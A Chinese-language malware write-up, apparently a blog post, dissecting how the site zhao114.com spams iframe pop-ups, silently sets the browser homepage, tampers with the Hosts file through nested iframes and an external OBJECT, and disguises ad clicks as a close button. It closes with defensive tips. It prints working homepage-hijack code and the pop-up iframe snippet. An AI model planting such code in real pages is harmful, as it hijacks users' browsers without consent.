事件起因

愚人節好奇訪問 zhao114.com，發現簡單導航站卻彈窗不斷、修改預設主頁、竄改 Hosts、添加桌面捷徑、頁面欺騙點擊。源碼分析如下，請同行參考、用戶警惕。

四大惡意技術手法解析

1. IE 無法阻擋的 iframe 彈窗

<iframe src="惡意網址" frameborder="no" marginwidth="0" marginheight="0" scrolling="no"></iframe>

無數次調用，載入廣告與病毒代碼，繞過常規彈窗攔截。

2. 靜默修改主頁：setmyhome.js

核心 sethome()：

document.links[0].style.behavior='url(#default#homepage)';
document.links[0].setHomePage('https://www.zhao114.com');

配合 Cookie 計數 amt() 同一 IP 僅彈一次，極具欺騙性。

3. 強行竄改 Hosts 文件（多層 iframe 嵌套）

yan88.htm → banner.js → banner.htm → wo.htm (iframe src="banner_files/wo.htm")
wo.htm → <OBJECT data="https://www.ni8.cn/set/setdns.chtm">
setdns.chtm 含修改 Hosts 實際代碼

層層跳轉隱藏惡意行為，最終修改本地 DNS 解析，導向釣魚/惡意站點。

4. 頁面欺騙：偽裝關閉鈕的浮動廣告

<SPAN title="關閉">×</SPAN>

右側浮動廣告偽裝「有短訊息」，點擊「×」非關閉反而觸發廣告點擊（中計）。

其他發現

• 添加桌面捷徑手法暫未分析（建議先 Ghost 備份再研究）。
• 附贈：38 個已知超惡性網站名單（文中列表）。
• 中招用戶可下載 3721「上網助手 2005」快速清理。

防禦建議

1. 升級 IE 至最新版並打補丁（修補行為劫持漏洞）。
2. 部署主動防禦/行為分析型殺毒軟體（攔截註冊表/Hosts 異常寫入）。
3. 安裝瀏覽器擴展：廣告攔截、腳本控制（NoScript/uBlock Origin）。
4. 定期檢查 Hosts 文件（C:\Windows\System32\drivers\etc\hosts）完整性。
5. 不輕信頁面「關閉」按鈕，直接關閉分頁/瀏覽器。

惡意網站技術不斷進化，唯有「補丁+行為防禦+用戶警覺」三位一體方能有效遏制。